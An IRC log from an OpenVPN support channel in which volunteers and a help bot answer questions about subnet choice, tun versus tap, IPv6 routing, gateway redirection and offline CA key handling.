07:46 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
07:47 < knobo> Why not that address range? it wi within 192.168.0.0/16 range.
07:48 < pekster> It's also a very common /24 for home-network devices and other "pre-configured" NAT devices
07:48 <@ecrist> because it's the default range for every consumer-grade access device
07:48 <@ecrist> there's a high probability you'll run into address space conflicts
07:48 < pekster> Same problem with 192.168.0.0/24 and 10.0.0.0/23 (either of its /24's)
07:49 < knobo> ok, so I should use 192.168.3.0/24
07:49 < pekster> If you can be somewhat sure it's really never going to be in use by one of your remote systems on any of its attached (or upstream) networks, then sure
07:50 < pekster> If there's any doubt, you should pick a much more obscure range. Using something randomly picked in 172.16/12 is usually the "best" bet for avoiding conflicts, but it depends on your situation
07:53 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:58 -!- yavor_ is now known as y4h0
08:02 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
08:02 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
08:02 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
08:02 -!- cpm [~Chip@pdpc/supporter/active/cpm] has left #openvpn []
08:04 < knobo> thanx
08:08 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
08:09 -!- cek [~cek@crius.pantheon.fused.net] has left #openvpn []
08:09 -!- yuri___ [~cek@crius.pantheon.fused.net] has joined #openvpn
08:14 -!- yuri___ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 276 seconds]
08:30 -!- marcolepsy [~marcoleps@64-121-192-7.c3-0.eas-ubr2.atw-eas.pa.cable.rcn.com] has joined #openvpn
08:30 -!- yuri___ [~cek@78.26.128.206] has joined #openvpn
08:47 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
08:47 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
08:58 -!- knobo [~bohmer@80.213.73.254] has quit [Ping timeout: 245 seconds]
09:11 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
09:33 < yuri___> test
09:33 < yuri___> How do I tell openvpn track status of interface it's working through? wlan0 goes down periodically and route to vpn peer goes down with it, too.
09:35 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
09:39 -!- str8uplinux [~dschuett@mail.lonemountaintruck.com] has joined #openvpn
09:39 < str8uplinux> what would cause "WARNING: Failed running command (--up/--down): external program exited with error status: 7" I'm trying to manually add/del routes with an up/down script
09:40 < pekster> str8uplinux: Your program exiting with error code 7 would cause that. Add some verbosity to your script to see why, but *your* script is the thing returning that code
09:40 -!- yuri___ [~cek@78.26.128.206] has quit [Ping timeout: 256 seconds]
09:41 -!- yuri___ [~cek@crius.pantheon.fused.net] has joined #openvpn
09:41 < pekster> yuri___: OpenVPN is unaware of sytem interface. See the --keepalive or assorted --ping options to have it reconnect if you loose your interface though. See also:
09:41 < pekster> !keepalive
09:41 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
09:50 <@plaisthos> You can force a reconnect via management interface
09:57 -!- pa [~pa@unaffiliated/pa] has quit [Quit: Sto andando via]
09:58 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
09:58 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Ping timeout: 248 seconds]
09:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
10:01 -!- AsadH is now known as zz_AsadH
10:05 < `nand`> With an IPv6-compatible kernel, the ‘tap0’ interface created by OpenVPN should automatically get a link-local IPv6 address, right?
10:06 < `nand`> at least, it does for me
10:20 -!- raidz_away is now known as raidz
10:36 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
10:37 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
10:37 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
10:38 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
10:38 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
10:38 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:39 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
10:43 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
10:43 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
10:55 -!- marcolepsy [~marcoleps@64-121-192-7.c3-0.eas-ubr2.atw-eas.pa.cable.rcn.com] has quit [Remote host closed the connection]
10:55 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:58 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:59 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Operation timed out]
11:05 -!- zz_AsadH is now known as AsadH
11:05 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
11:06 -!- str8uplinux [~dschuett@mail.lonemountaintruck.com] has left #openvpn []
11:18 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has joined #openvpn
11:22 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:29 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:30 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
11:40 -!- amir__ [~amir@unaffiliated/amir] has quit [Ping timeout: 260 seconds]
11:57 -!- AsadH is now known as zz_AsadH
12:02 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
12:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:22 -!- p3rror [~mezgani@2001:0:53aa:64c:3407:77b8:d673:9b9f] has quit [Ping timeout: 245 seconds]
12:25 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:26 -!- p3rror [~mezgani@2001:0:53aa:64c:2835:31c7:d673:9b9f] has joined #openvpn
12:31 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
12:32 < fys> https://sphotos-b.xx.fbcdn.net/hphotos-frc1/526942_10101400289390664_1220964790_n.jpg
12:32 < fys> lmao
12:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:40 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has quit [Quit: nand]
12:41 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
12:48 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
12:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:53 -!- zz_AsadH is now known as AsadH
13:01 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
13:05 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
13:06 -!- b1rkh0ff [~b1rkh0ff@178.77.19.125] has quit [Read error: Connection reset by peer]
13:09 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
13:09 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
13:14 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:20 -!- rob0_ [rob0@harrier.slackbuilds.org] has joined #openvpn
13:20 -!- rob0_ [rob0@harrier.slackbuilds.org] has quit [Changing host]
13:20 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
13:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:24 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
13:24 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
13:24 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
13:25 -!- Netsplit *.net <-> *.split quits: rob0
13:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
13:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:43 <+EugeneKay> fys - #openvpn != #redditrepostsfromtwodaysago
13:47 -!- b1rkh0ff [~b1rkh0ff@178.77.19.125] has joined #openvpn
13:49 -!- novaflash is now known as novaflash_away
13:50 -!- novaflash_away is now known as novaflash
13:51 -!- novaflash is now known as novaflash_away
13:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 252 seconds]
13:53 -!- novaflash_away is now known as novaflash
14:01 < fys> EugeneKay: Still funny, sir.
14:02 <+EugeneKay> Unfortunatley we're very somber people here
14:04 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
14:12 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
14:15 -!- module000 [~module000@173-10-195-33-BusName-LittleRock.hfc.comcastbusiness.net] has joined #openvpn
14:16 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Quit: Ex-Chat]
14:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Remote host closed the connection]
14:23 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Quit: I'm out!]
14:27 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
14:28 < `nand`> Is there anything I can do to optimize the overhead added by OpenVPN? I experience a drop of about 50 kB/s in bandwidth when measuring with nuttcp
14:28 < `nand`> That's with comp-lzo enabled. Disabling lzo increases it slightly, but about 4 kB/s
14:28 < `nand`> but that might just be measuring error
14:32 <@dazo> `nand`: do you use tun or tap?
14:32 < `nand`> dazo: tap
14:32 <@dazo> switch to tun
14:32 <@dazo> tun has lower overhead than tap
14:32 <@dazo> !tunortap
14:32 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:32 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:33 < `nand`> I'm not sure if that's a possibility for me
14:33  * dazo shrugs
14:33 < `nand`> I'm using it, among other things, as an IPv6 bridge; but my ISP doesn't give my a proper routed block so I proxy the NDP messages instead
14:33 <@dazo> `nand`: openvpn 2.3 supports IPv6 over tun
14:33 < `nand`> I'm guessing those are level 2
14:34 < module000> `nand`: the key part of ipv6 is the "IP" part. i.e.…that's layer3, ergo you are better off to use tun.
14:34 <@dazo> module000: well, before openvpn 2.3, it didn't support IPv6 over tun that easily ;-)
14:35 < `nand`> dazo: I have 2.3.0 on the client, but only 2.1.3 on the server
14:35 <@dazo> `nand`: well ... then you must upgrade your server ... 2.1.3 is way old and no longer maintained by the community
14:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
14:47 -!- dazo is now known as dazo_afk
14:48 < `nand`> bleh, switched to debian testing and it still only has 2.2.1
14:48 < `nand`> I really need to move my server to a sane distro. w/e
14:50 < module000> `nand`: if you're using testing, it compiles the latest pretty nicely. I think the only deps i had to install were liblzo-dev and openssl-dev (sp?), and the normal 'build-essential' set of tools
14:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:51 -!- yuri___ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 256 seconds]
14:53 < `nand`> needed libpam-dev as well
14:57 -!- satdav [~satdav@firefox/community/satdav] has joined #openvpn
14:57 < satdav> Hello can anyone help me out
14:57 < satdav> with a issue
14:57 < satdav> on debain
14:58 < satdav> when i try to start the service i am getting iptables service not started because of error (SVC_RUN_EXCEPT)
14:59 <@novaflash> satdav: are you using Access Server?
14:59 < module000> satdav: please stop copy/pasting this question into every linux support channel
15:03 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
15:04 < `nand`> alright, I'm on 2.3 on both sides now; how do I get IPv6 to work over tun instead of tap now? I tried giving both adapters their corresponding IPv6 address (via ‘ifconfig tun0 add ...’) but packets don't get delivered between the two
15:04 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
15:05 < satdav> iptables service not started because of error (SVC_RUN_EXCEPT)
15:05 < satdav> is what i am getting when trying to start the webserver for it
15:05 <@novaflash> satdav: are.
15:05 <@novaflash> satdav: you.
15:05 <@novaflash> satdav: using.
15:05 <@novaflash> satdav: access.
15:05 <@novaflash> satdav: server.
15:06 < satdav> I am trying to enable it on the webapp
15:06 <@ecrist> !as
15:06 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:06 <@ecrist> satdav: see that
15:07 < `nand`> hmm, looks like I can route IPv6 packets by using --server-ipv6 with the corresponding prefix
15:07 < `nand`> but the server picks the wrong address for itself. It picks prefix::1 but I want it to use ::2 instead
15:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:14 < `nand`> alright, I've fixed up the IPs involved, but now I'm not getting IPv6 packets from outside the VPN
15:15 < `nand`> it looks like OpenVPN isn't transmitting NDP packets
15:16 < `nand`> I can disable NDP proxying and set my router to always give a static answer instead, but then anybody could probably overload my system by pinging lots of addresses in that block and exhausting my NDP table
15:16 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
15:17 -!- master_of_master [~master_of@p57B53160.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
15:17 -!- cek [~cek@crius.pantheon.fused.net] has quit [Client Quit]
15:18 -!- master_of_master [~master_of@p57B53160.dip.t-dialin.net] has joined #openvpn
15:20 < `nand`> I could probably solve this by forgoing ndppd entirely and just setting up exceptions for every new connection. Is there an option to run some script for every new client that connects?
15:21 < `nand`> (and ideally also for clients that disconnect)
15:21 < `nand`> ah, --client-connect
15:24 -!- satdav_ [~satdav@89.207.132.64] has joined #openvpn
15:24 -!- satdav_ is now known as Guest21165
15:28 -!- satdav [~satdav@firefox/community/satdav] has quit [Ping timeout: 272 seconds]
15:34 -!- satdav__ [~satdav@89.207.132.64] has joined #openvpn
15:38 -!- Guest21165 [~satdav@89.207.132.64] has quit [Ping timeout: 272 seconds]
15:40 < `nand`> hmm. There's #ifconfig_pool_remote_ip for the remote IPv4 address, but there doesn't seem to be a corresponding environment variable for IPv6
15:42 < `nand`> https://community.openvpn.net/openvpn/ticket/230
15:42 <@vpnHelper> Title: #230 (IPV6 environment variables missing for client-connect) – OpenVPN Community (at community.openvpn.net)
15:42 < `nand`> Would it be possible to get this fixed any-time soon? I can't think of any workaround
15:43 -!- module000 [~module000@173-10-195-33-BusName-LittleRock.hfc.comcastbusiness.net] has left #openvpn []
15:47 < satdav__> is it hard to setup this version of openvpn
15:47 < `nand`> heh, maybe I could persist the ifconfig pool to a file and just grep for the username in that. It'd be an awful hack, though
15:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:50 < `nand`> no, that won't work, it isn't updated immediately :(
15:53 -!- p3rror [~mezgani@2001:0:53aa:64c:2835:31c7:d673:9b9f] has quit [Remote host closed the connection]
15:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:58 -!- satdav__ is now known as SATDAV
15:58 -!- SATDAV is now known as satdav
15:59 -!- satdav [~satdav@89.207.132.64] has quit [Changing host]
15:59 -!- satdav [~satdav@firefox/community/satdav] has joined #openvpn
15:59 -!- bscalp [~bscalp@cap69-1-82-233-37-6.fbx.proxad.net] has joined #openvpn
16:00 < bscalp> !welcome
16:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:00 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:00 < satdav> !help
16:00 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
16:00 < satdav> !support
16:00 < satdav> !list
16:00 <@vpnHelper> Admin, BadWords, Channel, ChannelLogger, Config, Factoids, FloodPrevent, Google, Misc, Owner, Relay, Seen, Services, User, Weather, and Web
16:00 < satdav> !seen
16:00 <@vpnHelper> (seen [<channel>] <nick>) -- Returns the last time <nick> was seen and what <nick> was last seen saying. <channel> is only necessary if the message isn't sent on the channel itself.
16:00 < satdav> !relay
16:00 < satdav> !help relay
16:00 <@vpnHelper> Error: There is no command "relay".
16:06 < `nand`> dazo_afk: using tun now, the overhead still seems to be around 60 kB/s
16:06 < `nand`> (this is without lzo)
16:07 < `nand`> I can't really get a good measurement with lzo because apparently the data nuttcp sends is very easy to compress and I unnaturally high figures; but that won't work for anything complicated eg. a video file
16:07 < `nand`> (which makes me wonder why that wasn't the case for tap)
16:10 < `nand`> I switched back to tap and I'm getting identical figures (still without lzo)
16:10 < `nand`> but this way has much less hassle
16:13 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
16:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:19 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Operation timed out]
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:20 -!- bscalp [~bscalp@cap69-1-82-233-37-6.fbx.proxad.net] has quit [Ping timeout: 255 seconds]
16:35 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:40 -!- jmontano [~Thunderbi@dsl-emcali-200.29.103.65.emcali.net.co] has joined #openvpn
16:40 < jmontano> !welcome
16:40 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:40 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:42 < jmontano> !route
16:42 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
16:51 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:55 -!- labcoattech [~Imran@cpc4-nott18-2-0-cust11.12-2.cable.virginmedia.com] has joined #openvpn
16:56 < labcoattech> hi all
16:56 < labcoattech> can someone please help me setup openvpn correctly, I have configured it as per instructions from the pfsense 2.0 cookbook, my phone is able to connect to the vpn but it can not see lan
16:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:18 -!- jmontano [~Thunderbi@dsl-emcali-200.29.103.65.emcali.net.co] has quit [Remote host closed the connection]
17:20 -!- p3rror [~mezgani@2001:0:53aa:64c:2835:31c7:d673:9b9f] has joined #openvpn
17:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
17:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:34 -!- p3rror [~mezgani@2001:0:53aa:64c:2835:31c7:d673:9b9f] has quit [Ping timeout: 245 seconds]
17:35 < labcoattech> how do I create a schedule to start at 7pm and end at 9am? i get an error saying stop time can not be before start time
17:36 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
17:37 -!- labcoattech [~Imran@cpc4-nott18-2-0-cust11.12-2.cable.virginmedia.com] has left #openvpn []
17:42 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
17:46 < Masxmasx> On the "Your problem is probably firewall", should I enable L2TP passthrough and IPSec Passthrough in my router?
17:52 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
17:54 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
18:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
18:38 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
18:46 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
18:49 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
19:04 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 255 seconds]
19:08 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has joined #openvpn
19:08 -!- satdav [~satdav@firefox/community/satdav] has quit [Quit: Leaving]
19:09 < stormerider> question... i need my local ovpn client to ignore one of the routes from the vpn server. i see i can do this with "route-nopull". is there an option in the client to specify the routes i do want to use with the vpn config or do i need to configure them through the native mechanism on my router?
19:12 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
19:24 < Cpt-Oblivious> storm, what exactly do you mean?
19:24 < Cpt-Oblivious> So your server is pushing certain routes, but 1 of the clients doesn't waint 1 of the routes, correct?
19:26 -!- adolfomaltez [~taro@190.62.205.97] has joined #openvpn
19:26 < Cpt-Oblivious> If that's what you want, then you should indeed use 'route-nopull', it then ignores all routes that are being pushed to it. If there are other routes the client should know about, then you should just specify those in the client config as well.
19:32 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
19:33 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has joined #openvpn
19:33 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
19:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:34 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has joined #openvpn
19:36 -!- stormerider [~morgan@c-174-61-209-90.hsd1.wa.comcast.net] has left #openvpn []
19:41 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 252 seconds]
19:45 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:18 -!- adolfomaltez [~taro@190.62.205.97] has quit [Ping timeout: 272 seconds]
20:19 -!- adolfomaltez [~taro@190.62.247.125] has joined #openvpn
20:26 < pekster> Masxmasx: OpenVPN is a separate protocol from L2TP and IPSec. It uses a single UDP (or TCP, if configured as such) port and all traffic is sent across it. The firewall comment in our /topic implies many people forget to allow the VPN network through their respective firewalls
20:35 < Valcorb> !howto
20:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:35 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:36 < Valcorb> hello everyone
20:36 < Valcorb> i currently have a Debian VPS
20:36 < Valcorb> and I'm trying to make it an OpenVPN server
20:37 < Valcorb> I'm able to connect to it
20:37 < Valcorb> but once I'm connected, I'm not able to browse nor use the internet
20:37 < Valcorb> here's my conf: http://pastebin.com/ugqkSiky
20:37 < Valcorb> I'm connecting from Windows 7 with OpenVPN 2.3
20:45 -!- raidz is now known as raidz_away
20:45 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
20:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 260 seconds]
20:48 -!- Valcorb|| is now known as Valcorb
20:55 < pekster> Valcorb: Unable to browse or use the Internet from the client? There's no gateway redirection being pushed from the server; are you doing any further configuring of routes on the client?
20:56 < pekster> Also, configs with mostly comments and whitespace like that are harder to read; it's better if you pipe your configuration files through a sedscript like the following:
20:56 < pekster> sed -e '/^[#;]/ d' -e '/^$/ d'
20:56 < Valcorb> aha
20:56 < Valcorb> i see
20:56 < Valcorb> well im just unable to use the internet
20:56 < Valcorb> whenever I'm connected to it
20:56 < pekster> Can you post the client config too? (preferably run through the aforementioned sedscript to clean it up)
21:00 < Valcorb> sure
21:00 -!- AsadH is now known as zz_AsadH
21:00 < Valcorb> you want me to include the server IP aswell pekster?
21:01 < pekster> That's not required, although the less you change the easier it is to debug. If you're getting connected, it's not the destination that's the issue
21:02 < Valcorb> yeah true
21:02 < Valcorb> http://pastebin.com/UkSYF5B9
21:03 < pekster> So, nothing special appears to be happening to the gateway after you connect. Unless your local LAN or configured DNS server is within the 10.8.0.0/24 range, there's no reason your network traffic should stop working
21:03 < pekster> Can you ping things by IP? Try 8.8.8.8 (the IP for google DNS)
21:04 < pekster> If that works, try a ping by DNS to say google.com
21:04 < Valcorb> on my VPS or local computer?
21:05 < pekster> It's your client that's having connection issues, right? Do it on that system
21:05 < Valcorb> Yeah client pings fine
21:06 < Valcorb> its a weird issue
21:06 < pekster> Both by IP and DNS? If so, your Internet is working fine on the client...
21:06 < Valcorb> oh
21:06 < Valcorb> im not connected
21:06 < Valcorb> to the server at the moment
21:06 < Valcorb> If i was i wouldn't be here :P
21:06 < pekster> Well, do that first
21:06 < Valcorb> alright
21:06 < Valcorb> damn, brb in 30 minutes
21:19 -!- adolfomaltez [~taro@190.62.247.125] has quit [Ping timeout: 272 seconds]
21:20 < Valcorb> ok im back
21:20 < Valcorb> lets try
21:22 < Valcorb> ok im connected
21:22 < Valcorb> but my IP didn't change
21:23 < Valcorb> pekster:
21:23 < pekster> It won't "change" -- you just get another IP on the VPN segment
21:23 < Valcorb> Yeah
21:23 < Valcorb> but the actual reason I want it for is so my IP would be hidden
21:23 < pekster> !redirect
21:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:23 <@vpnHelper> http://ircpimps.org/redirect.png
21:24 < Valcorb> i see
21:24 < Valcorb> so i will need redirect-gateway?
21:24 < pekster> And everything else on that flowchart
21:24 < Devastator> As some here might already know, I'm thinking how to handle keys/certs for a "kind of" paranoid setup, this is the last idea I had, if someone can comment about it, here it is: http://codepad.org/Q2ZncsQB
21:24 <@vpnHelper> Title: Plain Text code - 27 lines - codepad (at codepad.org)
21:25 < Valcorb> !def1
21:25 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
21:25 < pekster> Devastator: If that's the same setup you hilighted me on a few days ago, it looks much better. No real need to "erase" the USB stick with the public stuff on it (deleting them might leave them "recoverable", but they are after all public)
21:25 < Devastator> pekster still not perfect, right? heheh
21:26 < pekster> As long as the usb with the private files doen't touch systems besides your CA box, that's fully separate
21:26 < pekster> ie: a compromise (even theft, or loss of a password) does not destroy your PKI
21:26 < pekster> Unless it's your CA storage that was lost/compromised, of course
21:27 < pekster> You might need to revoke the client or server cert due to lack of trust, but the rest of the PKI remains secure and in-tact if an issued keypair falls into the wrong hands
21:27 < Devastator> pekster I read what I did a few times, it doesn't seem to touch anything else but the CA box, but I wanted to be sure by someone else looking at it
21:27 < pekster> Yup
21:28 < Devastator> ok, so I will print it and use as my personal step-by-step until I feel confident enough to throw it away
21:28 < pekster> Remember this does mean you can't generate or update keys without the CA system (which IIRC you were keeping offline) so if you travel away and your cert expires, you're screwed until you can get back to yoru files ;)
21:29 < Devastator> unless I sleep with a CA system copy attached to my body
21:30 < pekster> Keep a gun too, just in case The Man tries to get you ;)
21:30 < pekster> Security is all realtive to what you're defending against
21:30 < Devastator> sure!
21:31 < Devastator> my CA system will be: 1 usb stick with easy-rsa dir, 1 usb stick with a live distro, done, it's offline and portable
